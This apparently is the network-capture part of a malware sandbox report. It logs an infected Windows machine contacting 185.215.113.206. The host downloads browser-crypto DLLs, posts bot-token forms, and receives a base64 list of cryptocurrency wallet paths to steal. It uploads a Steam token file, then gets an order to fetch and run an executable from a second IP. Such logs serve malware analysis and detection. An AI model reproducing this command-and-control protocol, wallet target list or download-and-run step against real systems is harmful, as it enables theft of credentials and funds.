Nov 19, 2024 22:07:55.543020964 CET	1289	IN	Data Raw: ff ff 01 f8 89 45 b8 11 cb 89 5d f0 31 da 31 c6 89 f0 0f a4 d0 10 89 45 a8 0f ac d6 10 89 75 88 8b 55 ec 01 f2 89 55 ec 8b 75 e0 11 c6 89 75 e0 31 f1 89 f8 31 d0 89 ca 0f a4 c2 01 89 55 ac 0f a4 c8 01 89 85 48 ff ff ff 8b b5 74 ff ff ff 8b 46 30 Data Ascii: E]11EuUUuu11UHtF00Qv4,AA8UA<}5[dy!~6_U:O31\tS8E
Nov 19, 2024 22:07:57.254570007 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 22:07:57.466208935 CET	1289	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:57 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B [TRUNCATED]
Nov 19, 2024 22:07:57.976759911 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 22:07:58.188429117 CET	1289	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:58 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B [TRUNCATED]
Nov 19, 2024 22:08:00.060928106 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 22:08:00.272936106 CET	1289	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:08:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B [TRUNCATED]
Nov 19, 2024 22:08:02.715631008 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 22:08:02.937441111 CET	1289	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:08:02 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B [TRUNCATED]
Nov 19, 2024 22:08:03.485657930 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 22:08:03.697802067 CET	1289	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:08:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B [TRUNCATED]
Nov 19, 2024 22:08:04.768512964 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAKFCGCGIEGDGCAAKKJ Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 22:08:05.475351095 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:08:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 22:08:06.154372931 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGIJKJJKEBGHJKFIDGC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 35 39 61 65 34 30 66 34 35 32 35 39 35 34 32 32 65 33 65 61 63 32 39 63 33 36 33 34 63 39 61 31 36 66 64 32 39 30 33 34 37 66 36 35 36 31 31 66 37 36 35 36 36 31 31 30 66 66 64 65 61 62 37 34 65 66 39 36 39 34 63 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 2d 2d 0d 0a Data Ascii: ------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="token"359ae40f452595422e3eac29c3634c9a16fd290347f65611f76566110ffdeab74ef9694c------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="message"wallets------FCGIJKJJKEBGHJKFIDGC--
Nov 19, 2024 22:08:06.368571997 CET	1289	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:08:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8XE11 [TRUNCATED]
Nov 19, 2024 22:08:06.371957064 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEGDBKFIJDAKFIDGHJE Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 35 39 61 65 34 30 66 34 35 32 35 39 35 34 32 32 65 33 65 61 63 32 39 63 33 36 33 34 63 39 61 31 36 66 64 32 39 30 33 34 37 66 36 35 36 31 31 66 37 36 35 36 36 31 31 30 66 66 64 65 61 62 37 34 65 66 39 36 39 34 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="token"359ae40f452595422e3eac29c3634c9a16fd290347f65611f76566110ffdeab74ef9694c------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="message"files------KJEGDBKFIJDAKFIDGHJE--
Nov 19, 2024 22:08:06.585894108 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:08:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 22:08:06.630182981 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKFIECBGDHJKECAKFBG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 35 39 61 65 34 30 66 34 35 32 35 39 35 34 32 32 65 33 65 61 63 32 39 63 33 36 33 34 63 39 61 31 36 66 64 32 39 30 33 34 37 66 36 35 36 31 31 66 37 36 35 36 36 31 31 30 66 66 64 65 61 62 37 34 65 66 39 36 39 34 63 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="token"359ae40f452595422e3eac29c3634c9a16fd290347f65611f76566110ffdeab74ef9694c------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="file"------CBKFIECBGDHJKECAKFBG--
Nov 19, 2024 22:08:07.334880114 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:08:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 22:08:07.338294029 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCFIDAFBFBAKFHJEGIJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 35 39 61 65 34 30 66 34 35 32 35 39 35 34 32 32 65 33 65 61 63 32 39 63 33 36 33 34 63 39 61 31 36 66 64 32 39 30 33 34 37 66 36 35 36 31 31 66 37 36 35 36 36 31 31 30 66 66 64 65 61 62 37 34 65 66 39 36 39 34 63 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 2d 2d 0d 0a Data Ascii: ------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="token"359ae40f452595422e3eac29c3634c9a16fd290347f65611f76566110ffdeab74ef9694c------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="message"ybncbhylepme------EGCFIDAFBFBAKFHJEGIJ--
Nov 19, 2024 22:08:07.552779913 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:08:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 19, 2024 22:08:10.853506088 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFHCGIDBAAFHIDHDAAE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 35 39 61 65 34 30 66 34 35 32 35 39 35 34 32 32 65 33 65 61 63 32 39 63 33 36 33 34 63 39 61 31 36 66 64 32 39 30 33 34 37 66 36 35 36 31 31 66 37 36 35 36 36 31 31 30 66 66 64 65 61 62 37 34 65 66 39 36 39 34 63 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 2d 2d 0d 0a Data Ascii: ------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="token"359ae40f452595422e3eac29c3634c9a16fd290347f65611f76566110ffdeab74ef9694c------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BKFHCGIDBAAFHIDHDAAE--
Nov 19, 2024 22:08:11.572607040 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:08:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50060	34.107.221.82	80	6324	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:48.287959099 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:07:48.394540071 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 03:42:13 GMT Age: 62735 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:07:49.746525049 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:07:49.840250015 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 03:42:13 GMT Age: 62736 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

